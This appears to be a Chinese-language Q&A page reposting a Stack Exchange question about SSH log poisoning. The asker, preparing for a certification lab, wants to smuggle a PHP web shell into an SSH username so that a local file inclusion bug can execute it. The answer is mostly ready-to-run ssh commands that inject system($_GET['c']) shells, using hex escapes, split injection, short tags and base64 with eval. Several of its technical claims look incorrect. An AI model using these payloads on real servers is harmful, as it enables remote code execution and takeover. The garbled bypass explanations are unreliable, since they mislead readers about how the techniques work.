You need to enable JavaScript to run this app.
优惠活动
大模型
产品
解决方案
定价
更多

SSH日志投毒注入PHP代码作为用户名遇字符错误,如何绕过实现RCE?

SSH日志投毒绕过用户名字符限制方案

问题场景

我正在备考一项认证,涉及通过本地文件包含(LFI)与SSH日志投毒实现远程代码执行(RCE)的实验,目标是通过恶意用户名将PHP代码注入SSH日志,再利用目标服务器的LFI漏洞执行该代码。

尝试执行的命令:

ssh '<?php system($_GET['c']); ?>'@192.168.1.129

遇到错误:

remote username contains invalid characters

已尝试方案:

  • 转义PHP代码中的单引号,但未解决问题;
  • 寻找对用户名中的PHP代码进行编码或伪装的替代方法,但尚未找到可绕过验证的方案。

核心问题:如何在不触发“无效字符”错误的情况下,成功将PHP代码注入用户名以实施SSH日志投毒?是否存在适用于此场景的特定编码或绕过技术?


可行绕过方案

1. 十六进制转义绕过客户端字符检查

SSH客户端的字符限制通常针对可见特殊符号,但允许通过\x前缀的十六进制转义字符输入特殊字符。将PHP代码中的特殊符号转成十六进制,用双引号包裹让Shell解析转义序列,即可绕过本地验证:

原代码<?php system($_GET['c']); ?>的转义对应:

  • < → \x3C,? → \x3F,> → \x3E,单引号' → \x27

最终执行命令:

ssh "\x3C\x3Fphp system(\x24_GET[\x27c\x27]); \x3F\x3E"@192.168.1.129

2. 拆分代码分两次注入(利用日志多行拼接)

如果SSH日志会完整记录每次登录尝试的用户名,可将PHP代码拆分为两部分,分两次注入,让日志自动拼接成完整代码:

第一次注入开头:

ssh "<?php system(\$_GET['"@192.168.1.129

第二次注入结尾:

ssh "c']); ?>"@192.168.1.129

PHP解析时会忽略日志中的换行,直接执行拼接后的完整代码。

3. 使用PHP短标签减少特殊字符

若目标服务器开启了short_open_tag=On配置,可改用PHP短标签简化代码,减少触发限制的特殊字符:

ssh "<?= system(\$_GET['c']); ?>"@192.168.1.129

4. Base64编码配合PHP解码执行

将PHP代码Base64编码后,用base64_decode配合eval执行,进一步减少特殊字符暴露:
原代码Base64编码结果:PD9waHAgc3lzdGVtKCRfR0VUWydjJ10pOyA/Pg==

注入命令:

ssh '<?php eval(base64_decode("PD9waHAgc3lzdGVtKCRfR0VUWydjJ10pOyA/Pg==")); ?>'@192.168.1.129

关键注意事项

  • 优先测试十六进制转义方案,兼容性最好;
  • 注入后检查SSH日志文件(通常为/var/log/auth.log或/var/log/secure),确认代码已完整写入;
  • 利用LFI读取日志时,需避免日志中其他干扰字符影响PHP解析。

内容的提问来源于stack exchange,提问作者Saber BoukHriss

相关产品推荐
方舟 Agent Plan

超全模态模型 × Harness 升级,最新支持 Deepseek-V4.1-Flash、GLM-5.3 系列、Doubao-Seedream-5.0-pro、Kimi-K3 (部分), 限时 9.9 元起

最近更新时间:2026.06.30 18:35:56